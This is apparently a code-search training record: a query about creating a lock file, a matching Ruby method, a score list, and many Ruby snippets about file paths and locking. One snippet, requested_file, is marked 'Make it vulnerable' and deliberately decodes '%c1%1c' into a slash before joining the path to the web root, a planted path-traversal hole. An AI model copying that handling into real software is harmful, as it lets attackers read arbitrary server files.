"def prepare_file_path_to_download\n folder = ::EasyManageClient.configuration(profile).download_folder\n file_extension = ::EasyManageClient.configuration(profile).file_extension\n File.join(folder, \"#{response[:reference]}.#{file_extension}\")\n end",
"def path\n @file\n end",
"def path\n @file.path\n end",
"def file\n @pathname.to_s\n end",
"def path\n http_url RDoc::RDoc.current.generator.file_dir\n end",
"def path\n @filename\n end",
"def path\n @file.path\n end",
"def generate_storage_path\n update_column(:file, File.join(File.dirname(request.file),\n \"#{id}-response.xml\"))\n end",
"def path\n self.file.to_s\n end",
"def path\n http_url @store.rdoc.generator.file_dir\n end",
"def respond_with(file)\n response_path = File.dirname(__FILE__) + \"/../fixtures/response/xml\"\n File.read \"#{response_path}/#{file}.xml\"\nend",
"def file_path\n end",
"def file_path; end",
"def file_path\n @file_path ||= lookup_file_path\n end",
"def path\n ::File.join(@folder, @file)\n end",
"def path\n '/c/document_library/get_file?folderId=%i&name=%s' % [self.folderid, self.name]\n end",
"def path\n io.path\n end",
"def get_response_filename(data)\n cnt_dispo = data.header['content-disposition']\n m = /^attachment;(\\s*)filename=(.*);/.match(cnt_dispo)\n return m[2] unless m.nil?\n\n nil\n end",
"def file_path\n dir\n end",
"def output_path\n File.join(Musako.destination_path, @url)\n end",
"def response_of_file(file)\n File.exists?(file) ? \"200\" : \"Error\"\n end",
"def file_response(req)\n response = ::Rack::Response.new\n response['Last-Modified'] = req.stat.mtime.rfc822\n file_type = mime_map.mime_type_of(req.request_path)\n\n if highlighting? and req.highlighting? then\n if file_type && (file_type != 'text/html') then\n body = highlight_contents(req, file_type)\n response['Content-Type'] = 'text/html'\n response['Content-Length'] = body.length.to_s\n response.write( body )\n return response.finish\n end\n end\n\n # fall through to a default file return\n response['Content-Type'] = file_type.to_s\n File.open( req.request_path ) do |f|\n while p = f.read( 8192 ) do\n response.write( p )\n end\n end\n return response.finish\n end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def path\n tempfile.path\n end",
"def file_path\n File.join(dir,filename)\n end",
"def path\n File.join(STORAGE_PATH, @resource.subject_uri.path)\n end",
"def file\n return @file\n end",
"def file\n return @file\n end",
"def request_file\n @notifier_engine.request_file\n end",
"def path\n if @file\n @file.name\n elsif @path\n @path.to_s\n elsif @stream.is_a?(File)\n @stream.path\n end\n end",
"def retrieve_file(target)\n # only local dir in tutorial!\n full_path = File.join(File.dirname(__FILE__), target)\n @client.puts \"Looking for #{full_path} ...\"\n\n content = []\n\n # Check if file exists, return appropriate response\n if File.exists?(full_path)\n @http_status = \"HTTP/1.1 200 OK\"\n\n # Open the file, read content.\n begin\n File.open(full_path, \"r\") do |f|\n \n f.each_line do |l|\n content << l\n end\n end\n rescue \n @client.puts \"Error when opening file.\"\n @http_status = \"HTTP/1.0 404 Not Found\"\n end\n\n else\n @http_status = \"HTTP/1.0 404 Not Found\"\n end\n\n return content.join(\"\")\n end",
"def server_get_file(server, path)\n request(\n :path => \"containers/#{server.id}/files\",\n :params => {\n :path => path\n },\n :disable_body_extraction => true\n ).get(:body)\n end",
"def access_path\n @tempfile_path || path\n end",
"def file\n \"#{@request.path_info}.html\".gsub(/\\/\\./, 'index.')\n end",
"def filename\n return @file_object.io.path if @file_object.io.respond_to?(:path) && File.exist?(@file_object.io.path)\n end",
"def fixture_path\n # @_fixture_path ||= \"#{Emerson.fixture_path || RSpec.configuration.fixture_path}/responses\"\n @_fixture_path ||= File.join(Emerson.fixture_path, 'responses')\n end",
"def file\n File.join(directory, @file)\n end",
"def file_data\n @client.get_file @file_url\n end",
"def filename\n\t\treturn self.fullpath.split('/').last\n\tend",
"def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"def path\n @stream.path\n end",
"def original_fullpath; end",
"def file_path\n dir_name + file_name\n end",
"def hook_file_path\n get('beef.http.hook_file') || '/hook.js'\n end",
"def filename\n @io.original_filename\n end",
"def filename\n get \"filename\"\n end",
"def file_path path\n File.join(output_path, manifest.lookup(path).split('/')[2..-1])\n end",
"def do_file(req,res)\n path = req.path.gsub(/^(\\/|\\.)+/,\"\")\n return do_GET(req,res,path) if File.exists? path\n raise WEBrick::HTTPStatus::NotFound, \"`#{path}' not found.\"\n end",
"def headers_path\n @headers_path ||= Util.tmp_path\n end",
"def get(request, response)\n return NotFound unless exist?\n if stat.directory?\n response.body = \"\".dup\n Rack::Directory.new(root).call(request.env)[2].each do |line|\n response.body << line\n end\n response['Content-Length'] = response.body.bytesize.to_s\n OK\n else\n status, headers, body = Rack::File.new(root).call(request.env)\n headers.each do |k, v|\n response[k] = v\n end\n response.body = body\n StatusClasses[status]\n end\n end",
"def path\n return self.saved? ? @realfile.path : nil\n end",
"def path\n (public_path + sitemaps_path + filename).expand_path.to_s\n end",
"def render_path\n @render_path ||= generate_file_name(@site.config[\"url\"], @site.config[\"baseurl\"])\n end",
"def file_name\n return @file_name\n end",
"def file_name\n return @file_name\n end",
"def report_file\n File.join(@report_dir, \"#{@id}.json\")\n end",
"def get_survey_path(f)\n filename = f\n filename ||= 'NO_DATAFILE_GIVEN' # For display in errors later\n filename.gsub!(/[^0-9A-Z.-]/i, '_') # Sanitize input (should only be a filename)\n filename << DOTJSON if not filename.end_with?(DOTJSON)\n # test\n begin\n return File.join(ASF::SVN[get_survey_root(true)], filename)\n rescue Exception => _e\n return \"ERROR-NO-OFFICERS_SURVEYS-CHECKOUT\" # Improve error display in browser\n end\nend",
"def read_unparsed_response(filename)\n File.read(\"spec/fixtures/files/responses/#{filename}\")\n end",
"def path\n data.path\n end",
"def path\n data.path\n end",
"def read_unparsed_response(filename)\n File.read(\"spec/fixtures/files/#{filename}\")\n end",
"def file_path\n\t\tself.class.file_path\n\tend",
"def path\n @reader.path\n end",
"def file\n FILE\n end",
"def output_file_path\n raise LogicError, { message: \"Save agreement failed!\" }.to_json\n end",
"def get_file(file_id)\n\tputs \"Getting file: \" + file_id\n\tresponse = request_get('/api/partner/file/' + file_id)\n\tputs response.body\nend",
"def path\n return @path\n end",
"def path\n return @path\n end",
"def path\n return @path\n end",
"def web_file_path \n afilePath = building.web_path + SAVE_PATH + id.to_s\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix \n end\n\n afilePath\n end",
"def path\n data.fetch(\"path\") { relative_path }\n end",
"def get\n file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def get(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n File.from_response(\n file_name,\n client.request_raw_response(\n method: :get,\n path: \"#{container_name}/#{file_name}\",\n expected: 200,\n )\n )\n end",
"def file\n @file\n end",
"def filePath()\n return File.join(@@publicDir, @@tracksDir, \"#{self.fileName}#{self.fileType}\").to_s\n end",
"def file_path\n \"#{Time.now.to_f}.#{filename}\"\n end",
"def read_response(path, response, request)\n file_path = page_cache_path(path)\n if metadata = read_metadata(path)\n response.headers.merge!(metadata['headers'] || {})\n # if client_has_cache?(metadata, request)\n # # we need to see if this is really what we want to do. it causes issues with localization\n # # since I'm being \"smart\" and sending the same url. ugh. I might be too \"smart\" for my\n # # own good on this one\n # response.headers.merge!('Status' => '200 OK')\n if use_x_sendfile\n response.headers.merge!('X-Sendfile' => \"#{file_path}.data\")\n else\n response.body = File.open(\"#{file_path}.data\", \"rb\") {|f| f.read}\n end\n end\n response\n end",
"def download_path\n ::File.join(Chef::Config[:file_cache_path], ::File.basename(URL))\n end",
"def get_output file, req_path=nil, headers=[], body=[], params=[]\n if file.nil?\n out = Oaf::Util.get_default_response\n elsif File.executable? file\n env = Oaf::Util.prepare_environment req_path, headers, params, body\n out = Oaf::Util.run_buffered File.dirname(file), env, file\n else\n out = File.open(file).read\n end\n out\n end",
"def path\n # TODO: is this trip really necessary?!\n data.fetch(\"path\") { relative_path }\n end",
"def full_path\n \"templates/#{filename}\"\n end",
"def report_file\n File.join(@params[\"SS_output_dir\"], \"report_data.json\")\nend",
"def config_file\n send_command(:getinfo, 'config-file')\n reply = read_reply.split('=').last\n read_reply # skip \"250 OK\"\n Pathname(reply)\n end",
"def path\n \"/#{UPLOAD_DIR}/#{filename}\"\n end",
"def filepath\n @epub.manifest.path_from_id(@id)\n end",
"def requested_file(request_line)\n request_uri = request_line.split(\" \")[1]\n # Make it vulnerable\n request_uri = request_uri.gsub(\"%c1%1c\", \"/\")\n path = URI.unescape(URI(request_uri).path)\n\n File.join(WEB_ROOT, path)\nend",
"def path\n @path ||= @filename ? pathname.to_s : nil\n end",
"def get_downloaded_filename\n get_download_filename\n end"
] |
[
"0.69164526",
"0.68736947",
"0.6842221",
"0.67960364",
"0.67575",
"0.6753498",
"0.6738247",
"0.6712754",
"0.6701456",
"0.6618752",
"0.6607714",
"0.656819",
"0.6522459",
"0.65216684",
"0.65156937",
"0.65154207",
"0.65076214",
"0.64752626",
"0.64742196",
"0.6417601",
"0.6416827",
"0.6415951",
"0.63982016",
"0.63857824",
"0.6383052",
"0.63210845",
"0.63125473",
"0.6239331",
"0.6237353",
"0.6237353",
"0.6237353",
"0.62215966",
"0.6218754",
"0.62184024",
"0.6216168",
"0.6216168",
"0.62081325",
"0.6174088",
"0.6163892",
"0.61569935",
"0.6153036",
"0.61509186",
"0.61350477",
"0.6134764",
"0.61287796",
"0.6128659",
"0.6128519",
"0.61275256",
"0.61220986",
"0.61196744",
"0.6113106",
"0.6110365",
"0.61084753",
"0.6108248",
"0.61006075",
"0.60938364",
"0.6088191",
"0.60837203",
"0.60801524",
"0.608011",
"0.6079322",
"0.60785645",
"0.60785645",
"0.6066134",
"0.60618174",
"0.60527503",
"0.6051151",
"0.6051151",
"0.6047984",
"0.604138",
"0.60389465",
"0.60315907",
"0.6029201",
"0.6025649",
"0.60226554",
"0.60226554",
"0.60226554",
"0.6015907",
"0.6014284",
"0.601334",
"0.6012254",
"0.6012254",
"0.6012254",
"0.6012254",
"0.60091794",
"0.6007297",
"0.6005948",
"0.60035247",
"0.6003311",
"0.6003247",
"0.60018736",
"0.59937704",
"0.59917194",
"0.5986275",
"0.5978805",
"0.59750694",
"0.5974728",
"0.5972376",
"0.5966925",
"0.59627426"
] |
0.77882975
|
0
|
Adds a lock file to mark the given file as locked
|
def lock_file file
file_lock = file + ".lock"
open(file_lock, "w") {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_lock\n FileUtils.touch(@lock_file)\n end",
"def set_lock\n if File.exists? lock_file_name\n false\n else\n FileUtils.touch lock_file_name\n true\n end\n end",
"def lock(name)\n lock_file = $lock_dir + '/' + name\n unless FileTest.exist?(lock_file)\n FileUtils.touch(lock_file)\n yield\n end\n end",
"def lock!\n create_lock_file!\n if have_first_lock?(false)\n @locked = true\n else\n cleanup_lock_file!\n false\n end\n end",
"def lock(p_lock_file)\n lock_file = File.open(p_lock_file, \"w\")\n lock_file.write(Time.now.to_i.to_s)\n lock_file.close\n return true\n end",
"def acquire_lock\n return true if @handle\n begin\n @handle = File.open(status_file_path, File::RDWR | File::CREAT)\n raise StandardError.new('Already locked') unless @handle.flock(File::LOCK_EX | File::LOCK_NB)\n @handle.rewind\n @handle.truncate 0\n rescue\n if @handle\n @handle.flock(File::LOCK_UN)\n @handle.close\n end\n @handle = nil\n end\n !!@handle\n end",
"def with_lock_file dir, base\n lock_file = File.join(dir, \".lock.#{base}\")\n\n begin\n FileUtils.ln_s \".#{Process.pid}.#{base}\", lock_file\n rescue Errno::EEXIST\n return false\n end\n\n begin\n yield\n ensure\n FileUtils.rm_f lock_file\n end\n\n true\n end",
"def lock_file ; \"#{path}.lock\" ; end",
"def with_locked_file(filename)\n puts \"locking #{filename}\"\n if dataset_marked?(filename, 'locked') \n raise \"already marked as locked\"\n end\n # actual locking\n mark_dataset(filename, 'locked')\n begin\n yield\n ensure\n puts \"unlocking #{filename}\"\n # actual unlocking\n unmark_dataset(filename, 'locked')\n end\n end",
"def write\n\t\tfile = File.new(@lock_file, \"w\")\n\t\tyield(file)\n\t\tfile.close\n\tend",
"def try_lock\n puts \"I couldn't get a lock.\" unless \n open_lock('contested', 'w', File::LOCK_EX | File::LOCK_NB) do\n puts \"I've got a lock!\" \n true\n end\nend",
"def lock\n return unless @locking\n\n @locking_file = File.open('/var/tmp/vcenter-importer-lock', 'w')\n @locking_file.flock(File::LOCK_EX)\n end",
"def add_lock\r\n locks = Dir[File.join(Rails.root, 'log', 'inc_category_*.pid')]\r\n raise \"Inc CategoryParser already running #{locks}\" unless locks.empty?\r\n @lock = FileUtils.touch File.join(Rails.root, 'log', \"inc_#{Time.now.to_s(:number)}.pid\")\r\n end",
"def with_lock(&blk)\n create_lock_file!\n queue = Queue.new\n\n first_lock_blk = lambda do\n if have_first_lock?(true)\n queue << :locked\n end\n end\n\n @zk.watcher.register(root_lock_path, &first_lock_blk)\n first_lock_blk.call\n\n if queue.pop\n begin\n @locked = true\n return blk.call\n ensure\n unlock!\n end\n end\n\n end",
"def add_lock\n run %w[zypper addlock] + package_name\n end",
"def replace (filename, *data_and_options)\n data, options = *parse_data_and_options(data_and_options)\n lockfile = options[:lockfile] ? options[:lockfile] : \"#{filename}.lock\"\n\n begin\n if not options[:noop]\n fd = IO.sysopen(lockfile, IO::WRONLY | IO::CREAT | IO::EXCL, 0700)\n f = IO.new(fd, 'w')\n hook_write(f, lockfile) if block_given? and options[:verbose]\n else\n f = StringIO.new\n hook_write(f, lockfile, :rewind) if block_given? and options[:verbose]\n end\n\n file_stat = File.stat(filename) rescue nil\n\n if block_given?\n $stderr.puts \"cat /dev/null > #{Escape.shell_single_word(lockfile)}\" if options[:verbose]\n yield f\n else\n $stderr.puts AdvFileUtils.__send__(:write_echo_message, data, '>', lockfile) if options[:verbose]\n f.write(data)\n end\n\n f.close\n\n if file_stat\n FileUtils.chown(file_stat.uid.to_s, file_stat.gid.to_s, lockfile, options)\n FileUtils.chmod(file_stat.mode & 07777, lockfile, options)\n end\n FileUtils.mv(lockfile, filename, options)\n\n ensure\n f.close if f and not f.closed?\n begin\n File.delete(lockfile) if fd\n rescue Errno::ENOENT\n end\n end\n end",
"def lock\n hostlockname = @item['name'].downcase.tr(\" \", \"_\")\n if @locking\n @locking_file = File.open(\"/tmp/vcenter-#{hostlockname}-lock\",\"w\")\n @locking_file.flock(File::LOCK_EX)\n end\n end",
"def create_folder_lock (backup_path, backup_date)\n #create backup time directory\n FileUtils.mkdir_p \"#{backup_path}#{backup_date}\"\n #create backup time lockfile\n lockfile = File.new(\"#{backup_path}\" + \"#{backup_date}.flock\", \"w+\").flock(File::LOCK_EX)\nend",
"def sync_with_flock(&block)\n fail ArgumentError, \"No block specified\" if block.nil?\n\n file = File.open(LOCK_FILE_PATH)\n file.flock(File::LOCK_EX)\n block.call\n ensure\n file.flock(File::LOCK_UN)\n file.close\n end",
"def lock_file(file, &_block)\n if ::File.exist?(file)\n ::File.open(file, 'r+') do |f|\n begin\n f.flock ::File::LOCK_EX\n yield if block_given?\n ensure\n f.flock ::File::LOCK_UN\n end\n end\n else\n yield if block_given?\n end\n end",
"def lock(options={})\n if options[:active]\n locked_manager = $LOAD_MANAGER\n else\n locked_manager = Manager.prime(*lookup_paths, :expound=>true)\n end\n\n ensure_filepath(lock_file)\n\n File.open(lock_file, 'w') do |f|\n f << lock_dump(locked_manager)\n end\n\n $LOAD_MANAGER = locked_manager\n end",
"def lock_machine(uuid)\n lock_path = @data_dir.join(\"#{uuid}.lock\")\n lock_file = lock_path.open(\"w+\")\n if lock_file.flock(File::LOCK_EX | File::LOCK_NB) === false\n lock_file.close\n lock_file = nil\n end\n\n lock_file\n end",
"def set_pid(pid)\n File.open(@lock_file, 'w') { |file| file.write(pid) }\n end",
"def start_transaction\n file = open(\"#{head_path}.lock\", \"w\")\n file.flock(File::LOCK_EX)\n\n Thread.current['git_store_lock'] = file\n\n load if changed?\n end",
"def lock\n if @locking\n driver_name = self.class.name.downcase\n @locking_file = File.open(\"/tmp/onevnm-#{driver_name}-lock\",\"w\")\n @locking_file.flock(File::LOCK_EX)\n end\n end",
"def lock\n hostlockname = @item['name'].downcase.tr(\" \", \"_\")\n if @locking\n @locking_file = File.open(\"/tmp/vcenter-dc-#{hostlockname}-lock\",\"w\")\n @locking_file.flock(File::LOCK_EX)\n end\n end",
"def write_lockfiles\n @lockfile = generate_lockfile\n\n UI.message \"- Writing Lockfile in #{UI.path config.lockfile_path}\" do\n # No need to invoke Sandbox#update_changed_file here since this logic already handles checking if the\n # contents of the file are the same.\n @lockfile.write_to_disk(config.lockfile_path)\n end\n\n UI.message \"- Writing Manifest in #{UI.path sandbox.manifest_path}\" do\n # No need to invoke Sandbox#update_changed_file here since this logic already handles checking if the\n # contents of the file are the same.\n @lockfile.write_to_disk(sandbox.manifest_path)\n end\n end",
"def lock\n if locked?\n message = \"It seems another backup is still running, or previous backup did not complete. If you are sure that there are no backups currently running then try deleting the lockfile at `#{@lock_file}'.\"\n\n alert message\n send_alerts\n exit 1\n end\n FileUtils.touch @lock_file\nend",
"def enable_lock\n add option: \"-lock=true\"\n end",
"def lockfile; end",
"def lock_file_path\n File.join(self.class.locks_dir, \"#{@name}.lock\")\n end",
"def lock!\n @locked = true\n end",
"def lock(&block)\n result = nil\n File.open(path + 'f.lock', 'w') do |fd|\n if fd.flock(File::LOCK_EX)\n begin\n result = block.call\n ensure\n fd.flock(File::LOCK_UN)\n end\n end\n end\n result\n end",
"def lock!\n @locked = true\n end",
"def lock\n\n return true if locked?\n\n @lockfile = nil\n\n FileUtils.mkdir_p(::File.dirname(@path))\n\n file = File.new(@path, File::RDWR | File::CREAT)\n locked = file.flock(File::LOCK_NB | File::LOCK_EX)\n\n return false unless locked\n\n now = Time.now\n\n file.print(\"pid: #{$$}, \")\n file.print(\"scheduler.object_id: #{self.object_id}, \")\n file.print(\"time: #{now}, \")\n file.print(\"timestamp: #{now.to_f}\")\n file.flush\n\n @lockfile = file\n\n true\n end",
"def unlock_file(locked_name)\n begin\n FileUtils.mv(\"#{locked_name}\",\"#{@frpath}content.txt\")\n return true\n rescue\n return false\n end\n end",
"def transaction\n File.open(lock_file_path, File::RDWR | File::CREAT, 0644) do |file|\n # Get lock\n file.sync = true\n file.flock(File::LOCK_EX)\n\n # Execute block\n yield\n\n # Push all changes\n apply\n\n # Release lock\n file.flock(File::LOCK_UN)\n end\n end",
"def lock!(resource, uuid, *lock_names)\n build_locks(resource, lock_names, uuid).each(&:save!)\n end",
"def is_locked? file\n file_lock = file + \".lock\"\n FileTest::file? file_lock\n end",
"def lock\n # This allows multiple locks in the same process to be nested\n return yield if @lock_acquired\n\n File.open(lock_path, \"w+\") do |f|\n # The file locking fails only if it returns \"false.\" If it\n # succeeds it returns a 0, so we must explicitly check for\n # the proper error case.\n raise Errors::EnvironmentLockedError if f.flock(File::LOCK_EX | File::LOCK_NB) === false\n\n begin\n # Mark that we have a lock\n @lock_acquired = true\n\n yield\n ensure\n # We need to make sure that no matter what this is always\n # reset to false so we don't think we have a lock when we\n # actually don't.\n @lock_acquired = false\n end\n end\n end",
"def locked_run( lock_file, timeout = 30 * 60 )\n cached_filesystem do\n # bugfix for ~\n lock_file = File.expand_path lock_file\n exit if File.exists?(lock_file)\n %x{touch #{lock_file}}\n begin\n Timeout::timeout(timeout) do\n yield\n end\n rescue Timeout::Error\n puts 'Too slow, sorry!!'\n rescue Exception => exc\n log_exception exc\n end\n rm lock_file\n end\n end",
"def lock_file\n File.join(tmpdir, \"#{ruby_version}.ledger\")\n end",
"def open_and_lock_file(filename, read_only)\n if read_only\n begin\n file = File.new(filename, **RD_ACCESS)\n begin\n file.flock(File::LOCK_SH)\n return file\n rescue\n file.close\n raise\n end\n rescue Errno::ENOENT\n return nil\n end\n else\n file = File.new(filename, **RDWR_ACCESS)\n file.flock(File::LOCK_EX)\n return file\n end\n end",
"def acquire\n # Ensure the locks_dir directory exists\n FileUtils.mkdir_p(self.class.locks_dir)\n\n # Open PID file and attempt to obtain a filesystem lock (non-blocking)\n @lock_file ||= File.open(lock_file_path, File::RDWR|File::CREAT, 0644)\n acquired = !! @lock_file.flock(File::LOCK_EX|File::LOCK_NB)\n\n close_file unless acquired\n acquired\n end",
"def lock(name, mode)\n yield\n end",
"def unlock_file file\n file_lock = file + \".lock\"\n File.delete(file_lock) if FileTest::file? file_lock\n end",
"def lock\n @@locks.synchronize do\n @@locks[@path] ||= Monitor.new\n @@locks[@path]\n end\n end",
"def lock_repo(payload)\n lock_path = File.join(\n working_directory,\n \"#{payload.get(:data, :code_fetcher, :info, :owner)}-\" <<\n \"#{payload.get(:data, :code_fetcher, :info, :name)}.lock\"\n )\n lock_file = File.open(lock_path, 'w')\n lock_file.flock(File::LOCK_EX)\n lock_file\n end",
"def acquire_atomic_fs_lock(name)\n times = 0\n name += '.lock'\n Dir.mkdir name, 0700\n logger.debug(\"Acquired lock #{name}\")\n yield\n rescue Errno::EEXIST\n times += 1\n logger.debug(\"Waiting for lock #{name}\")\n sleep 1\n unless times >= 10\n retry\n else\n logger.info(\"Timeout waiting for lock #{name}\")\n raise \"Timeout waiting for lock #{name}\"\n end\n ensure\n clear_atomic_fs_lock(name)\n end",
"def lock=(value)\n doc['lock'] = value\n end",
"def create_lock_object\n @bucket.create_file(\n StringIO.new,\n @path,\n acl: @object_acl,\n cache_control: 'no-store',\n metadata: {\n expires_at: (Time.now + @ttl).to_f,\n identity: identity,\n },\n if_generation_match: 0,\n )\n rescue Google::Cloud::FailedPreconditionError\n nil\n end",
"def create_lock(run_name)\n Helpers::log(\"Locking #{run_name}\")\n dir = \"#{ENV['HOME']}/.hgsc_solid/#{@machine}\"\n if !File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\n Lock::create_lock_file(\"#{dir}/#{run_name}.lock\")\n end",
"def set( pid )\n raise( RackWebpack::Error,\n 'Must acquire lock before setting PID' ) unless acquire\n @lock_file.truncate(0)\n @lock_file.rewind\n @lock_file.puts pid\n @lock_file.flush\n pid\n end",
"def with_locked_xml(filename)\n puts \"locking #{filename}\"\n if dataset_marked?(filename, 'locked') \n raise \"already marked as locked\"\n end\n # actual locking\n mark_dataset(filename, 'locked')\n begin\n yield\n ensure\n puts \"unlocking #{filename}\"\n # actual unlocking\n unmark_dataset(filename, 'locked')\n end\n end",
"def do_lock(entries)\n mcs_label = @user.get_mcs_label(@user.uid)\n\n # It is expensive doing one file at a time but...\n # ...it allows reporting on the failed command at the file level\n # ...we don't have to worry about the length of argv\n entries.each do |entry|\n begin\n Utils.oo_spawn(\n \"chown root:#{@user.gid} #{entry};\n chcon unconfined_u:object_r:openshift_var_lib_t:#{mcs_label} #{entry}\",\n expected_exitstatus: 0)\n rescue Utils::ShellExecutionException => e\n raise OpenShift::FileLockError.new(\"Failed to lock file system entry [#{entry}]: #{e.stderr}\",\n entry)\n end\n end\n\n begin\n Utils.oo_spawn(\"chown root:#{@user.gid} #{@user.homedir}\", expected_exitstatus: 0)\n rescue Utils::ShellExecutionException => e\n raise OpenShift::FileLockError.new(\"Failed to lock gear home [#{@user.homedir}]: #{e.stderr}\",\n @user.homedir)\n end\n end",
"def lock\n post :lock\n end",
"def generate_lockfile(config_path:, gemfile_lock_path:, with_lockfile: T.unsafe(nil)); end",
"def auto\n Vmit.logger.debug \"Using resource lock #{lockfile_path}\"\n File.open(lockfile_path, File::WRONLY | File::CREAT, 0666) do |f|\n begin\n if f.flock File::LOCK_EX | File::LOCK_NB\n # we are the first ones, bring the resource up\n on_up\n end\n\n if f.flock File::LOCK_SH\n on_acquire\n end\n\n yield if block_given?\n rescue => e\n Vmit.logger.error e.message\n raise e\n ensure\n if f.flock File::LOCK_EX | File::LOCK_NB\n on_down\n end\n on_release\n f.flock File::LOCK_UN\n end\n end\n rescue => e\n Vmit.logger.error e.message\n raise e\n ensure\n File.unlink(lockfile_path)\n end",
"def locked?\n File.exist?(lock_file)\n end",
"def locked\n end",
"def lock\n @unlocked = false\n \"Diary is now locked\"\n end",
"def lock_file_present?(lfname)\n begin\n # TODO check lock file age and send a warning if it is older than a\n # given threshold.\n File.exists?(lfname)\n rescue => e\n logger.error \"checking lock file '#{lfname}' presence:\"\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n Mailer.notify_admins(self, 'lock_file_check', e)\n end\n end",
"def synchronize(path)\n path = File.join(Dir.tmpdir, \"#{Rip.md5(path)}.lock\")\n file = File.new(path, 'w+')\n file.flock(File::LOCK_EX)\n yield\n ensure\n file.flock(File::LOCK_UN)\n file.close\n # We can't safely cleanup the lock file. This litters tmp with\n # lock files. Not a big deal but we could do better.\n end",
"def lock\n # Flush everything to start with a clean state\n # and to protect the @locked variable\n flush\n\n with_flock(File::LOCK_EX) do\n replay\n result = yield\n flush\n result\n end\n end",
"def locked?\n File.exist?(lock_file)\n end",
"def unlock\n if @locking\n @locking_file.close\n end\n end",
"def unlock\n if @locking\n @locking_file.close\n end\n end",
"def lock\n if unlocked_status == false\n raise ArgumentError.new(\"You cannot lock this door - it is already locked\")\n else\n door_hash[:unlocked_status] = false\n end\n end",
"def lock\n output = lock_file\n\n dir = File.dirname(output)\n unless File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\n\n File.open(output, 'w+') do |f|\n f << $LEDGER.to_yaml\n end\n end",
"def lock_file\n keynumber = rand(1000000000)\n newfile = \"content#{keynumber}.txt\"\n newpath = \"#{@frpath}#{newfile}\"\n lasterror = \"\"\n\n # Try for up to approximately 12 seconds\n for i in 0..13\n begin\n FileUtils.mv(\"#{@frpath}content.txt\", newpath)\n return newpath\n rescue\n lasterror = $!\n # Sleep a random amount of time. Primes make collisions less likely.\n sleep [1.1,1.3,0.5,0.7][rand(4)]\n end\n end\n raise \"Unable to lock page #{@fitnesse_path} moving #{@frpath}content.txt to #{newpath}: #{lasterror}\"\n end",
"def try_lock\n if locked?\n false\n else\n File.open(@pid_file, 'w') { |f| f.write(Process.pid) }\n File.chmod(0644, @pid_file)\n true\n end\n end",
"def include_locked_gemfile(gemfile_path, lockfile_path = \"#{gemfile_path}.lock\", groups: nil, without_groups: nil, gems: [], copy_groups: false)\n # Parse the desired lockfile\n gemfile_path = Pathname.new(gemfile_path).expand_path(Bundler.default_gemfile.dirname).realpath\n lockfile_path = Pathname.new(lockfile_path).expand_path(Bundler.default_gemfile.dirname).realpath\n\n # Calculate relative_to\n relative_to = Bundler.default_gemfile.dirname.realpath\n\n # Call out to create-override-gemfile to read the Gemfile+Gemfile.lock (bundler does not work well if you do two things in one process)\n create_override_gemfile_bin = File.expand_path(\"../bin/create-override-gemfile\", __FILE__)\n arguments = [\n \"--gemfile\", gemfile_path,\n \"--lockfile\", lockfile_path,\n \"--override\"\n ]\n arguments += [ \"--relative-to\", relative_to ] if relative_to != \".\"\n arguments += Array(groups).flat_map { |group| [ \"--group\", group ] }\n arguments += Array(without_groups).flat_map { |without| [ \"--without\", without ] }\n arguments += Array(gems).flat_map { |name| [ \"--gem\", name ] }\n arguments << \"--copy-groups\" if copy_groups\n cmd = Shellwords.join([ Gem.ruby, \"-S\", create_override_gemfile_bin, *arguments ])\n output = nil\n Bundler.ui.info(\"> #{cmd}\")\n Bundler.with_clean_env do\n output = `#{cmd}`\n end\n instance_eval(output, cmd, 1)\n end",
"def with_lock(name, opts={}, &b)\n mode = opts[:mode] || :exclusive\n\n raise ArgumentError, \":mode option must be either :shared or :exclusive, not #{mode.inspect}\" unless [:shared, :exclusive].include?(mode)\n\n if mode == :shared\n shared_locker(name).with_lock(&b)\n else\n locker(name).with_lock(&b)\n end\n end",
"def maybe_write_partition_file\n redis_manager = RedisManager.new\n if redis_manager.lock_on_key?(partition_manager.partition_filepath)\n redis_manager.update_expiration(partition_manager.partition_filepath)\n Thread.new do\n FileWriter.new.write_file(file_path, partition_manager)\n end\n end\n end",
"def lock\n self.is_locked = true\n self\n end",
"def with_flock(mode)\n return yield if @locked\n begin\n loop do\n # HACK: JRuby returns false if the process is already hold by the same process\n # see https://github.com/jruby/jruby/issues/496\n Thread.pass until @fd.flock(mode)\n # Check if database was replaced (cleared or compactified) in the meantime\n # break if not\n stat = @fd.stat\n break if stat.nlink > 0 && stat.ino == @inode\n open\n end\n @locked = true\n yield\n ensure\n @fd.flock(File::LOCK_UN)\n @locked = false\n end\n end",
"def acquire!(locker)\n self.locked_by = locker\n self.locked_at = Time.now\n save!\n end",
"def lock_file2(filename, s)\n s.puts(\"LOCK:\\n\")\n s.puts(filename)\n s.puts(\"\\n\")\n r = s.gets.chomp\n return r\nend",
"def get_locked_file( lockfile, timeout = 60 )\n cfg_file = File.open(lockfile,\"r+\")\n success = false\n timeout.times {\n if cfg_file.flock(File::LOCK_EX | File::LOCK_NB )\n success=true\n break\n end\n STDERR.puts \"Lockfile is locked...retrying...\"\n sleep 1\n }\n raise \"Couldn't acquire the lockfile...\" unless success\n return cfg_file\n end",
"def lock\n shaz_nolock_lock if !@nolock\n end",
"def write_versionlock_file\n transform_str = \"<transform pkg depend -> default facet.version-lock.*> false>\"\n File.write(\"#{staging_dir}/version-lock\", transform_str)\n end",
"def lock(*args, &block)\n args = web_dav_args args\n map_method :lock, args, &block\n end",
"def lock!\n freeze!\n @locked = true\n self\n end",
